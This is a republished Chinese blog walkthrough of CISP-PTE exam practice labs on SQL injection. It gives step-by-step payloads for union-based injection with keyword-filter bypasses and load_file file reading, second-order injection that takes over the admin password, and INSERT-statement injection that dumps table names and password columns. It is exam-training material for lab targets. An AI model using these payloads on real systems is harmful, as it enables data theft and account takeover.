文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

CISP-PTE考前练习-SQL注入

2023-09-06 09:25

关注

文章目录

题目一:联合查询注入

第一步 常规的 访问页面发现参数id

http://192.168.253.207/PTE/1.Sql_Injection/

在这里插入图片描述

第二步 尝试闭合

id=1%27)--+ 页面回显正常id=1%27) 页面回显错误

第三步 查看回显字段的位数

id=1')order by  4--+ 回显正常id=1')order by 4--+ 回显异常

在这里插入图片描述
在这里插入图片描述

第四步 判断回显的位置

id=-1') union select 1,2,3,4 --+ 发现union被过滤id=-1') UNunionion select 1,2,3,4 --+  大小写双写绕过发现字段2,3,回显

在这里插入图片描述

在这里插入图片描述

第五步 结合文件读取,查看文件内容

id=-1') UNunionion select 1,2,load_file('c://key.php%27'),4 --+  提交:http://192.168.253.214/PTE/1.Sql_Injection/vulnerabilities/fu1.php?id=-1%27)%20UNunionion%20select%201,2,load_file(%27c://key.php%27),4%20--+

在这里插入图片描述

题目二:二次注入

第一步 首先进入页面,发现注册
在这里插入图片描述

第二步 注册一个特殊账户

注册用户名:admin'、admin"、admin')、admin'#多尝试几次

在这里插入图片描述

第三步 修改密码

在这里插入图片描述
在这里插入图片描述

第四步 查看修改后的结果
在这里插入图片描述

重新使用修改后的密码,登录admin,发现成功

题目三:文章发布系统

第一步 访问首页

在登录得地方,尝试万能密码,进不去,发现不回显在注册得地方,也没有发现回显直接注册一个用户

在这里插入图片描述

第二步 通过注册得账号进入,有个文章发表的地方
在这里插入图片描述
在这里插入图片描述

发表一篇文章,
在这里插入图片描述

发现回显数据库语句

insert article1 value('49E0CAD0-F7E8-5BC2-FA78-7975F5807E14','123admintest1','123456','123admin')

思路就是让value提前通过‘)形成闭合,在文章内容的地方闭合,注意第三个参数是用户名得带上
发现发现文章的地方是使用插入一条数据的值,value(标题,内容,用户名),然后存放到数据库,可以同时插入两条内容,类似于(标题,内容,用户名),(标题,内容,用户名),使得第一条闭合,然后第二天插入自己想要的语句,采取文章发表页面进行查看

123456','123admin'),('123456','2','3 发现字段2和3能够回显1','123admin'),('1',database(),'select version() 发现空格被过滤1','123admin'),('1',database(),'3' 有回显1','123admin'),('1',selectversion(),'3' 通过注释进行过滤

在这里插入图片描述

查看发表成功得文章

insert article1 value('377856A7-4CF3-5384-E1AD-37ED2AE6D3A2','qweasd','123456','123admin'),('123456','2','3','123admin')发表了两篇文章

在这里插入图片描述

1','123admin'),('1',database(),'select version()

在这里插入图片描述

查看回显
在这里插入图片描述

第三步 构造闭合,查看回显

1','123admin'),('1',(selectversion()),'3 通过注释进行过滤

在这里插入图片描述

查看发布的文章
在这里插入图片描述

第四步 查看当前数据库下面得表名

1','123admin'),('1',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'3添加注释1','123admin'),('1',(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema='2web'),'3

在这里插入图片描述

article,article1,users1
在这里插入图片描述

第五步 查询user1表中得字段名称

1','123admin'),('1',(select group_concat(column_name) from information_schema.columns where table_name='users1'),'3注释后的1','123admin'),('1',(selectgroup_concat(column_name)frominformation_schema.columnswheretable_name='users1'),'3

在这里插入图片描述

password,username,XremarkX4354
在这里插入图片描述

第六步 查询user1表中username、password的字段值

1','123'),('1',(select password from users1 limit 0,1),'3注释后1','123admin'),('1',(selectpasswordfromusers1limit0,1),'3

在这里插入图片描述
在这里插入图片描述

依次limit(0,1)、limit(1,1)、limit(2,1)、limit(3,1)、通过INtrude遍历查看
在这里插入图片描述

发现不在密码字段,继续查询
在这里插入图片描述

1','123admin'),('1',(selectXremarkX4354fromusers1limit0,1),'3

在这里插入图片描述

题目四:模拟实战练习

题目要求

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。数据库中可以找到Key1

在这里插入图片描述

第一步 形成闭合

通过尝试发现--+ #被过滤uuid=xx'  and '1'='1uuid=xx' or '1'='1 页面回显正常

在这里插入图片描述
在这里插入图片描述

第二步 使用union查询,查看回显的位置

发现order by被过滤,只能1,2,3,4,5,6依次尝试d6'union select 1,2,3,4,5 or '1' = '1 页面回显错误d6'union select 1,2,3,4,5,6 or '1' = '1 页面回显字段2 

在这里插入图片描述
在这里插入图片描述

第三步 查询表名
当前数据库

d6'union select 1,database(),3,4,5,6 and '1' = '1 当前数据库中的表d6'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='2web'),3,4,5,6 and '1' = '1Article,IS_KEY

在这里插入图片描述
在这里插入图片描述

第四步 查看列名

d6'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='2web' and table_name='IS_KEY'),3,4,5,6 and '1' = '1

在这里插入图片描述

第五步 查询字段

uuid=-xx' union select 1,(select group_concat(haha) from IS_KEY),3,4,5,6 and '1' = '1

在这里插入图片描述

摘抄


想让日子过得丰富,就应该保持积极开放的心态,多了解、多接触新事物。
不要总是怀有偏见,更不要盲目抗拒。
因为很多时候,你拒绝的可能不是一件事,而是通往崭新生活的一扇门。
要知道,真正让一个人衰老的原因,往往与年龄无关,而是从你丧失对新事物的好奇心开始的。
打开眼界,才能改变认知。
  ----《开放心态》


来源地址:https://blog.csdn.net/qq_41901122/article/details/127377740

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     807人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     351人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     314人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     433人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     221人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯